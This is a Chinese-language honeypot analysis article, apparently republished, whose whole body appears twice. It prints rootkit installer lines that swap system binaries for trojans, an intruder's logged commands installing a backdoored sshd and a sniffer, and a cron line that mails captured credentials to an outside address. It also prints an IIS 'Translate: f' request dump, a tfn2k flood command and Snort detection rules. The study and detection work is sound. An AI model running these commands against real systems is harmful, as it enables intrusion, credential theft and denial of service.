蜜罐进阶之Hit@me入侵分析
if [ -x /usr/bin/passwd ] && [ -x bin/passwd ]; then ./fix /usr/bin/passwd bin/passwd; fi
if [ -x /bin/ps ] && [ -x procps-1.01/ps ]; then ./fix /bin/ps procps-1.01/ps; fi
if [ -x /usr/bin/top ] && [ -x procps-1.01/top ]; then ./fix /usr/bin/top procps-1.01/top; fi
if [ -x /usr/sbin/in.rshd ] && [ -x rshd/rshd ]; then ./fix /usr/sbin/in.rshd rshd/rshd; fi
if [ -x /bin/netstat ] && [ -x net-tools-1.32-alpha/netstat ]; then ./fix /bin/netstat net-tools-1.32-alpha/netstat; fi
if [ -x /sbin/ifconfig ] && [ -x net-tools-1.32-alpha/ifconfig ]; then ./fix /sbin/ifconfig net-tools-1.32-alpha/ifconfig; fi
if [ -x /usr/sbin/syslogd ] && [ -x sysklogd-1.3/syslogd ]; then ./fix /usr/sbin/syslogd sysklogd-1.3/syslogd; fi
if [ -x /usr/sbin/inetd ] && [ -x inetd/inetd ]; then ./fix /usr/sbin/inetd inetd/inetd; fi
if [ -x /usr/sbin/tcpd ] && [ -x tcpd_7.4/tcpd ]; then ./fix /usr/sbin/tcpd tcpd_7.4/tcpd; fi
if [ -x /usr/bin/killall ] && [ -x psmisc/killall ]; then ./fix /usr/bin/killall psmisc/killall; fi
if [ -x /bin/killall ] && [ -x psmisc/killall ]; then ./fix /bin/killall psmisc/killall; fi
if [ -x /usr/bin/pidof ] && [ -x psmisc/killall ] && [ -x /bin/killall ]; then ln -sf /bin/killall psmisc/pidof; fi
if [ -x /usr/bin/pidof ] && [ -x psmisc/killall ] && [ -x /usr/bin/killall ]; then ln -sf /usr/bin/killall psmisc/pidof; fi
if [ -x /usr/bin/pidof ] && [ -x psmisc/killall ] && [ -x /usr/bin/killall ]; then ./fix /usr/bin/pidof psmisc/pidof; fi
if [ -x /sbin/pidof ] && [ -x psmisc/killall ] && [ -x /usr/bin/killall ]; then ./fix /sbin/pidof psmisc/pidof; fi
if [ -x /usr/bin/find ] && [ -x findutils/find/find ]; then ./fix /usr/bin/find findutils/find/find; fi
clean:
rm -f fix z2 wted linsniffer bindshell bin/*
for i in $(SUB); do make -C $$i clean; done
for i in $(SHADOWSUB); do make -C $$i clean; done
small:
for i in $(SUB); do strip $$i/*; done
for i in $(SHADOWSUB); do strip $$i/*; done
for i in $(SUB); do rm $$i/*.o; done
for i in $(SHADOWSUB); do rm $$i/*.o; done
从代码分析中可以看出,rootkit的安装其实是个很有条理的入侵过程。首先把编译好的二进制文件放如bin目录中;利用if语句比较原系统文件和木马程序,并把系统文件的属性值赋予这些木马程序,使其看起来和正常的命令文件并无二致;最后,扫除编译时候所残留的工具。
#6
这里顺便提到一点额外的知识,关于木马(trojan)的具体含义,许多专业bbs站点都有自己神话色彩的解释,于是混乱的解释干扰我们对木马的偏见认识,这里我给出RFC1244对其真实而朴质的描述:
“特洛伊木马是一种程序,它做某些有用的事情或者纯粹是一些有趣的事情。它总是做一些出人意料的事情。比如盗窃密码或者在没有你的认可下拷贝文件等。”
不管安装木马的作法会遭受Whitehat如何谴责,我们仍旧相信这种入侵的兴盛不衰正是强烈的控制欲诱惑让入侵者感到刺激和兴奋。
分析完毕rootkit的供效后,我们继续分析入侵者的剩余行为,发现了更为有趣的记录:
#mkdir /dev/ptyr
#cd /var/tmp/…
#lynx –source packetstormsecurity.nl/crypt/ssh/old/ssh-1.2.27.tar.gz >ssh-1.2.27.tar.gz
#lynx –source packetstormsecurity.nl/UNIX/penetration/rootkits/rkssh5.tar.gz \
>> rkssh5.tar.gz
#tar zxvf ssh-1.2.27.tar.gz
#tar zxvf rkssh5.tar.gz
#cp rkssh5/rk-ssh.diff ssh-1.2.27
#patch -p1 < rk-ssh.diff
#./configure –prefix=/dev/ptyr
#make
#make install
#cd ..
#rm –rf *
/* 以上入侵步骤是安装了一个打过补丁的SSHD服务器,并销毁其上载的文件。
* 于是查阅rkssh5的帮助文档,其作者声称是关于SSH的后门程序,所设置的默
* 认密码为 “global”,从跟踪记录看,入侵者并没有修改默认配置!而建立/dev/ptyr
*/ 目的则是为了隐藏。还记得rootkit中对ls工具的分析吗?J
入侵者继续扩大自己的战果,实现着自己的野心……相继修改/dev/ptyq,实现对3000端口的隐藏(netstat木马);修改/dev/ptys,实现对163.com字段的隐藏(syslogd木马);修改/dev/ptyp,实现对linsniffer和sshd进程的隐藏(ps木马)。
#/dev/ptyr/bin/sshd &
#./linsniffer > /dev/ptyr/tcp.log &
#crontab –e
* 1 * * * /sbin/sendmail vincenttp97@hotmail.com < /dev/ptyr/tcp.log
/* 运行ssh的后门程序,并且隐藏在3000端口进行监听;
* 运行linsniffer捕获网络环境的TCP连接(各种telnet、pop等认证会话);
* 最后,定制发送日志的时间,并且这些记录不会记录于系统日志中。
* 在整个精致的攻击过程,一切看来是完美无缺的。但是入侵者在定制
* 发送日志的时候,却留下了一个免费邮箱地址。对于一个敏锐的网络
* 管理员来说,它绝对是追查入侵者的有利线索!(本篇主要是针对入侵数据
*/ 做定性分析,因此不涉及反追踪技术的研究)
本次系统攻击,无论从端口扫描、远程溢出、Rootkit的安装还是从系统的窃听和监测等系列活动中,我们可以欣赏攻击者颇为文雅和谨慎的入侵风格。利用蜜罐系统,我们获得的更为真实的战斗场面,而且可以亲自观察这种巧妙入侵linux字符世界各种有趣行为。这种偷窥行为给我带来的愉快感绝不逊于入侵者侵蚀系统的宣泄郁愤的痛快心情。J
#7
IIS_Translate_F漏洞特征数字
Translate_F这个漏洞是IIS很早漏洞,之所以在这里对其进行数字解析的原因在于它是IIS存漏洞利用中比较经典的例子之一。在蜜罐的入侵侦测数据库中找到了根据漏洞的进行的攻击记录,以下是数据入侵的请求包:
08/18-12:53:14.293999 192.168.1.244:15253 -> 192.168.1.252:80
TCP TTL:53 TOS:0x0 ID:31083 DF
*****PA* Seq: 0x90F90192 Ack: 0x251D6AF2 Win: 0x2238
TCP Options => NOP NOP TS: 3060457 0
47 45 54 20 2F 70 61 67 65 73 2F 63 6F 6E 74 61 GET /pages/conta
63 74 2E 61 73 70 5C 20 48 54 54 50 2F 31 2E 30 ct.asp\ HTTP/1.0
0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 6C 69 ..User-Agent: li
62 77 77 77 2D 70 65 72 6C 2F 35 2E 34 35 0D 0A bwww-perl/5.45..
43 6F 6E 74 65 6E 74 2D 54 79 70 65 3A 20 74 65 Content-Type: te
78 74 2F 68 74 6D 6C 0D 0A 54 72 61 6E 73 6C 61 xt/html..Transla
74 65 3A 20 66 0D 0A 58 2D 46 6F 72 77 61 72 64 te: f..X-Forward
65 64 2D 46 6F 72 3A 20 32 30 39 2E 31 38 37 2E ed-For: 103.164.
31 34 30 2E 31 39 32 0D 0A 48 6F 73 74 3A 20 77 002.134..Host: w
77 77 2E 65 78 74 72 65 6D 65 6C 6F 67 69 63 2E ww.aaaaaaaaaaaa.
63 6F 6D 0D 0A 43 6F 6E 74 65 6E 74 2D 4C 65 6E com..Content-Len
67 74 68 3A 20 31 38 0D 0A 56 69 61 3A 20 31 2E gth: 18..Via: 1.
31 20 6E 65 74 63 61 63 68 65 30 31 2E 67 77 2E 1 netcache01.aa.
74 6F 74 61 6C 2D 77 65 62 2E 6E 65 74 20 28 4E aaaaaaaaa.net (N
65 74 43 61 63 68 65 20 34 2E 30 52 34 44 31 31 etCache 4.0R4D11
29 0D 0A 43 6F 6E 6E 65 63 74 69 6F 6E 3A 20 4B )..Connection: K
65 65 70 2D 41 6C 69 76 65 0D 0A 0D 0A eep-Alive....
微软IIS5.0有一个专用搜索用于检索ASP、ASA和HTR等文件。这个引擎处理这些类型文件的请求并相应的处理它们,并在服务器执行它们。当在HTTP get请求语句中包括带有”Translate: f”的请求头文件,那么服务器会把对这些文件请求以源代码的形式发送给客户,从而造成网站密码泄露事件。
从此数据包中,我们可以明确的看出HTTP请求的试探语法:”Translate: f”的字符串。根据上述的分析经验,我们能很快确定其入侵规则检查语法:
alert TCP $EXTERNAL any -> $INTERNAL 80 (msg: "IDS305/web-iis_http-iis_translate_f"; flags: A+; content: "|4 72 61 6E 73 6C 61 74 65 3A 20 66 |"; nocase; classtype: info-attempt; reference: arachnids,305
注意:熟练掌握入侵规则的编写方法便利于网络管理员能灵活的增加各种入侵检测条件,日益完善入侵检测的规则机制,从而建立更加优秀的蜜罐系统。
通过对windows两个有趣实例的测试,我们结束了整个入侵数据分析测试。虽然对windows我没有展开去分析,但是相信其整体的分析方法同上面的许多数据分析是一致的思路,因此举一反三,我们能自如的运用这种手段来分析解决这些暗藏的数字行为。
#8
Tribe FloodNet 2k(tfn2k)的Dos测试
最后,我分析蜜罐的中发生DDos攻击时,tfn2k主机之间的协同作战的数据联系。在实验环境中使用了2套Redhat7.2,安装了td,并在蜜罐中使用tfn控制两台机器进行协同作战(关于tfn2k的安装及其使用可以参考tfn2k.tgz的README文档,这里不做赘述)。使用“./tfn -f hosts.txt -c 6 -i 192.168.1.235”的ICMP攻击,大约20多分钟,系统已经处于瘫痪状态。
数据包跟踪截断如下:
5/15-00:03:33.277786 192.168.1.235 -> 192.168.1.250
ICMP TTL:246 TOS:0x0 ID:21972
ID:0 Seq:4830 ECHO REPLY
72 79 61 46 54 63 38 48 65 6D 65 75 50 39 53 32 ryaFTc8HemeuP9S2
6E 45 66 35 69 51 41 41 41 41 41 41 41 41 41 41 nEf5iQAAAAAAAAAA
41 41 41 41 41 41 41 41 AAAAAAAA
开始分析这个截流包的时候,我疑惑了很长一段时间,因为“ryaFTc8HemeuP9S2
nEf5iQ”这样的字符串并不代表具体含义,这里让我想到的是:在tfn2k主机之间的通讯是加密的。但在监测这种加密通讯时,我却发现每次加密字串是无规律的。后来,在仔细查看了tnf2k的文档才发现作者使用CAST-256 加密算法对通讯字串加密之后在使用base64进行解码,当td服务器自动对字串解密,实现协同作战之间的单项联系。
那么,我们如何得到这种攻击行为的特征代码呢?经过对包的ip头和icmp头进行分析,可以发现这样一个固定的数字行为: ICMP类型
ICMP ID号
0(icmp echo reply)
0
即:ICMP包为icmp echo replay类型,且其ID永远为0;当然,仅靠这些数字特征并不能表示网络安装了tfn2k的服务,应该注意到,在加密字串后面有一串连续的“AAAAAAAA”,根据作者声称,这些字符是用于填充作用的。现在我们能很快写出其入侵特征规则:
alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"DDOS tfn2k icmp possible communication"; itype: 0; icmp_id: 0; content: "AAAAAAAAAA"; reference:arachnids,425; classtype:attempted-dos; sid:222; rev:1
对TNF2K分析完毕,我们获得分布式拒绝攻击的数字协作特征的许多有趣资料。这对于我们分析更多的攻击方式将是非常便利的手段!
9
小结
利用蜜罐技术来模拟真实的网络服务资源环境,这大大方便我们研究网络安全结构、修补复杂网络环境中存在的各种弊病,同时实现对操作系统、安全产品的测试和质量评判。当然,Hit@me结构的蜜罐也存在着一些缺陷,比如,当入侵者使用隐秘的SSH登录,则无法监测其行为特性;在实现虚拟系统中如何引诱攻击行为;庞大的数据资源如何快速加工整理等若干问题。我希望大家能和我一起讨论并解决这些存在的困难。蜜罐在安全问题日益严重的今天,越来越体现了它无比优越的实用性。
参考资料
1、 www.snort.org
2、 www.whitehouse.com
3、 cve.mitre.org
4、 www.sans.org
5、 《最高安全机密》 3RD,机械工业出版社
6、《黑客大暴光 3RD》,机械工业出版社
http://www.hack58.net/Article/60/63/2005/4450.htm
if [ -x /bin/ps ] && [ -x procps-1.01/ps ]; then ./fix /bin/ps procps-1.01/ps; fi
if [ -x /usr/bin/top ] && [ -x procps-1.01/top ]; then ./fix /usr/bin/top procps-1.01/top; fi
if [ -x /usr/sbin/in.rshd ] && [ -x rshd/rshd ]; then ./fix /usr/sbin/in.rshd rshd/rshd; fi
if [ -x /bin/netstat ] && [ -x net-tools-1.32-alpha/netstat ]; then ./fix /bin/netstat net-tools-1.32-alpha/netstat; fi
if [ -x /sbin/ifconfig ] && [ -x net-tools-1.32-alpha/ifconfig ]; then ./fix /sbin/ifconfig net-tools-1.32-alpha/ifconfig; fi
if [ -x /usr/sbin/syslogd ] && [ -x sysklogd-1.3/syslogd ]; then ./fix /usr/sbin/syslogd sysklogd-1.3/syslogd; fi
if [ -x /usr/sbin/inetd ] && [ -x inetd/inetd ]; then ./fix /usr/sbin/inetd inetd/inetd; fi
if [ -x /usr/sbin/tcpd ] && [ -x tcpd_7.4/tcpd ]; then ./fix /usr/sbin/tcpd tcpd_7.4/tcpd; fi
if [ -x /usr/bin/killall ] && [ -x psmisc/killall ]; then ./fix /usr/bin/killall psmisc/killall; fi
if [ -x /bin/killall ] && [ -x psmisc/killall ]; then ./fix /bin/killall psmisc/killall; fi
if [ -x /usr/bin/pidof ] && [ -x psmisc/killall ] && [ -x /bin/killall ]; then ln -sf /bin/killall psmisc/pidof; fi
if [ -x /usr/bin/pidof ] && [ -x psmisc/killall ] && [ -x /usr/bin/killall ]; then ln -sf /usr/bin/killall psmisc/pidof; fi
if [ -x /usr/bin/pidof ] && [ -x psmisc/killall ] && [ -x /usr/bin/killall ]; then ./fix /usr/bin/pidof psmisc/pidof; fi
if [ -x /sbin/pidof ] && [ -x psmisc/killall ] && [ -x /usr/bin/killall ]; then ./fix /sbin/pidof psmisc/pidof; fi
if [ -x /usr/bin/find ] && [ -x findutils/find/find ]; then ./fix /usr/bin/find findutils/find/find; fi
clean:
rm -f fix z2 wted linsniffer bindshell bin/*
for i in $(SUB); do make -C $$i clean; done
for i in $(SHADOWSUB); do make -C $$i clean; done
small:
for i in $(SUB); do strip $$i/*; done
for i in $(SHADOWSUB); do strip $$i/*; done
for i in $(SUB); do rm $$i/*.o; done
for i in $(SHADOWSUB); do rm $$i/*.o; done
从代码分析中可以看出,rootkit的安装其实是个很有条理的入侵过程。首先把编译好的二进制文件放如bin目录中;利用if语句比较原系统文件和木马程序,并把系统文件的属性值赋予这些木马程序,使其看起来和正常的命令文件并无二致;最后,扫除编译时候所残留的工具。
#6
这里顺便提到一点额外的知识,关于木马(trojan)的具体含义,许多专业bbs站点都有自己神话色彩的解释,于是混乱的解释干扰我们对木马的偏见认识,这里我给出RFC1244对其真实而朴质的描述:
“特洛伊木马是一种程序,它做某些有用的事情或者纯粹是一些有趣的事情。它总是做一些出人意料的事情。比如盗窃密码或者在没有你的认可下拷贝文件等。”
不管安装木马的作法会遭受Whitehat如何谴责,我们仍旧相信这种入侵的兴盛不衰正是强烈的控制欲诱惑让入侵者感到刺激和兴奋。
分析完毕rootkit的供效后,我们继续分析入侵者的剩余行为,发现了更为有趣的记录:
#mkdir /dev/ptyr
#cd /var/tmp/…
#lynx –source packetstormsecurity.nl/crypt/ssh/old/ssh-1.2.27.tar.gz >ssh-1.2.27.tar.gz
#lynx –source packetstormsecurity.nl/UNIX/penetration/rootkits/rkssh5.tar.gz \
>> rkssh5.tar.gz
#tar zxvf ssh-1.2.27.tar.gz
#tar zxvf rkssh5.tar.gz
#cp rkssh5/rk-ssh.diff ssh-1.2.27
#patch -p1 < rk-ssh.diff
#./configure –prefix=/dev/ptyr
#make
#make install
#cd ..
#rm –rf *
/* 以上入侵步骤是安装了一个打过补丁的SSHD服务器,并销毁其上载的文件。
* 于是查阅rkssh5的帮助文档,其作者声称是关于SSH的后门程序,所设置的默
* 认密码为 “global”,从跟踪记录看,入侵者并没有修改默认配置!而建立/dev/ptyr
*/ 目的则是为了隐藏。还记得rootkit中对ls工具的分析吗?J
入侵者继续扩大自己的战果,实现着自己的野心……相继修改/dev/ptyq,实现对3000端口的隐藏(netstat木马);修改/dev/ptys,实现对163.com字段的隐藏(syslogd木马);修改/dev/ptyp,实现对linsniffer和sshd进程的隐藏(ps木马)。
#/dev/ptyr/bin/sshd &
#./linsniffer > /dev/ptyr/tcp.log &
#crontab –e
* 1 * * * /sbin/sendmail vincenttp97@hotmail.com < /dev/ptyr/tcp.log
/* 运行ssh的后门程序,并且隐藏在3000端口进行监听;
* 运行linsniffer捕获网络环境的TCP连接(各种telnet、pop等认证会话);
* 最后,定制发送日志的时间,并且这些记录不会记录于系统日志中。
* 在整个精致的攻击过程,一切看来是完美无缺的。但是入侵者在定制
* 发送日志的时候,却留下了一个免费邮箱地址。对于一个敏锐的网络
* 管理员来说,它绝对是追查入侵者的有利线索!(本篇主要是针对入侵数据
*/ 做定性分析,因此不涉及反追踪技术的研究)
本次系统攻击,无论从端口扫描、远程溢出、Rootkit的安装还是从系统的窃听和监测等系列活动中,我们可以欣赏攻击者颇为文雅和谨慎的入侵风格。利用蜜罐系统,我们获得的更为真实的战斗场面,而且可以亲自观察这种巧妙入侵linux字符世界各种有趣行为。这种偷窥行为给我带来的愉快感绝不逊于入侵者侵蚀系统的宣泄郁愤的痛快心情。J
#7
IIS_Translate_F漏洞特征数字
Translate_F这个漏洞是IIS很早漏洞,之所以在这里对其进行数字解析的原因在于它是IIS存漏洞利用中比较经典的例子之一。在蜜罐的入侵侦测数据库中找到了根据漏洞的进行的攻击记录,以下是数据入侵的请求包:
08/18-12:53:14.293999 192.168.1.244:15253 -> 192.168.1.252:80
TCP TTL:53 TOS:0x0 ID:31083 DF
*****PA* Seq: 0x90F90192 Ack: 0x251D6AF2 Win: 0x2238
TCP Options => NOP NOP TS: 3060457 0
47 45 54 20 2F 70 61 67 65 73 2F 63 6F 6E 74 61 GET /pages/conta
63 74 2E 61 73 70 5C 20 48 54 54 50 2F 31 2E 30 ct.asp\ HTTP/1.0
0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 6C 69 ..User-Agent: li
62 77 77 77 2D 70 65 72 6C 2F 35 2E 34 35 0D 0A bwww-perl/5.45..
43 6F 6E 74 65 6E 74 2D 54 79 70 65 3A 20 74 65 Content-Type: te
78 74 2F 68 74 6D 6C 0D 0A 54 72 61 6E 73 6C 61 xt/html..Transla
74 65 3A 20 66 0D 0A 58 2D 46 6F 72 77 61 72 64 te: f..X-Forward
65 64 2D 46 6F 72 3A 20 32 30 39 2E 31 38 37 2E ed-For: 103.164.
31 34 30 2E 31 39 32 0D 0A 48 6F 73 74 3A 20 77 002.134..Host: w
77 77 2E 65 78 74 72 65 6D 65 6C 6F 67 69 63 2E ww.aaaaaaaaaaaa.
63 6F 6D 0D 0A 43 6F 6E 74 65 6E 74 2D 4C 65 6E com..Content-Len
67 74 68 3A 20 31 38 0D 0A 56 69 61 3A 20 31 2E gth: 18..Via: 1.
31 20 6E 65 74 63 61 63 68 65 30 31 2E 67 77 2E 1 netcache01.aa.
74 6F 74 61 6C 2D 77 65 62 2E 6E 65 74 20 28 4E aaaaaaaaa.net (N
65 74 43 61 63 68 65 20 34 2E 30 52 34 44 31 31 etCache 4.0R4D11
29 0D 0A 43 6F 6E 6E 65 63 74 69 6F 6E 3A 20 4B )..Connection: K
65 65 70 2D 41 6C 69 76 65 0D 0A 0D 0A eep-Alive....
微软IIS5.0有一个专用搜索用于检索ASP、ASA和HTR等文件。这个引擎处理这些类型文件的请求并相应的处理它们,并在服务器执行它们。当在HTTP get请求语句中包括带有”Translate: f”的请求头文件,那么服务器会把对这些文件请求以源代码的形式发送给客户,从而造成网站密码泄露事件。
从此数据包中,我们可以明确的看出HTTP请求的试探语法:”Translate: f”的字符串。根据上述的分析经验,我们能很快确定其入侵规则检查语法:
alert TCP $EXTERNAL any -> $INTERNAL 80 (msg: "IDS305/web-iis_http-iis_translate_f"; flags: A+; content: "|4 72 61 6E 73 6C 61 74 65 3A 20 66 |"; nocase; classtype: info-attempt; reference: arachnids,305
注意:熟练掌握入侵规则的编写方法便利于网络管理员能灵活的增加各种入侵检测条件,日益完善入侵检测的规则机制,从而建立更加优秀的蜜罐系统。
通过对windows两个有趣实例的测试,我们结束了整个入侵数据分析测试。虽然对windows我没有展开去分析,但是相信其整体的分析方法同上面的许多数据分析是一致的思路,因此举一反三,我们能自如的运用这种手段来分析解决这些暗藏的数字行为。
#8
Tribe FloodNet 2k(tfn2k)的Dos测试
最后,我分析蜜罐的中发生DDos攻击时,tfn2k主机之间的协同作战的数据联系。在实验环境中使用了2套Redhat7.2,安装了td,并在蜜罐中使用tfn控制两台机器进行协同作战(关于tfn2k的安装及其使用可以参考tfn2k.tgz的README文档,这里不做赘述)。使用“./tfn -f hosts.txt -c 6 -i 192.168.1.235”的ICMP攻击,大约20多分钟,系统已经处于瘫痪状态。
数据包跟踪截断如下:
5/15-00:03:33.277786 192.168.1.235 -> 192.168.1.250
ICMP TTL:246 TOS:0x0 ID:21972
ID:0 Seq:4830 ECHO REPLY
72 79 61 46 54 63 38 48 65 6D 65 75 50 39 53 32 ryaFTc8HemeuP9S2
6E 45 66 35 69 51 41 41 41 41 41 41 41 41 41 41 nEf5iQAAAAAAAAAA
41 41 41 41 41 41 41 41 AAAAAAAA
开始分析这个截流包的时候,我疑惑了很长一段时间,因为“ryaFTc8HemeuP9S2
nEf5iQ”这样的字符串并不代表具体含义,这里让我想到的是:在tfn2k主机之间的通讯是加密的。但在监测这种加密通讯时,我却发现每次加密字串是无规律的。后来,在仔细查看了tnf2k的文档才发现作者使用CAST-256 加密算法对通讯字串加密之后在使用base64进行解码,当td服务器自动对字串解密,实现协同作战之间的单项联系。
那么,我们如何得到这种攻击行为的特征代码呢?经过对包的ip头和icmp头进行分析,可以发现这样一个固定的数字行为: ICMP类型
ICMP ID号
0(icmp echo reply)
0
即:ICMP包为icmp echo replay类型,且其ID永远为0;当然,仅靠这些数字特征并不能表示网络安装了tfn2k的服务,应该注意到,在加密字串后面有一串连续的“AAAAAAAA”,根据作者声称,这些字符是用于填充作用的。现在我们能很快写出其入侵特征规则:
alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"DDOS tfn2k icmp possible communication"; itype: 0; icmp_id: 0; content: "AAAAAAAAAA"; reference:arachnids,425; classtype:attempted-dos; sid:222; rev:1
对TNF2K分析完毕,我们获得分布式拒绝攻击的数字协作特征的许多有趣资料。这对于我们分析更多的攻击方式将是非常便利的手段!
9
小结
利用蜜罐技术来模拟真实的网络服务资源环境,这大大方便我们研究网络安全结构、修补复杂网络环境中存在的各种弊病,同时实现对操作系统、安全产品的测试和质量评判。当然,Hit@me结构的蜜罐也存在着一些缺陷,比如,当入侵者使用隐秘的SSH登录,则无法监测其行为特性;在实现虚拟系统中如何引诱攻击行为;庞大的数据资源如何快速加工整理等若干问题。我希望大家能和我一起讨论并解决这些存在的困难。蜜罐在安全问题日益严重的今天,越来越体现了它无比优越的实用性。
参考资料
1、 www.snort.org
2、 www.whitehouse.com
3、 cve.mitre.org
4、 www.sans.org
5、 《最高安全机密》 3RD,机械工业出版社
6、《黑客大暴光 3RD》,机械工业出版社
http://www.hack58.net/Article/60/63/2005/4450.htm
0
相关文章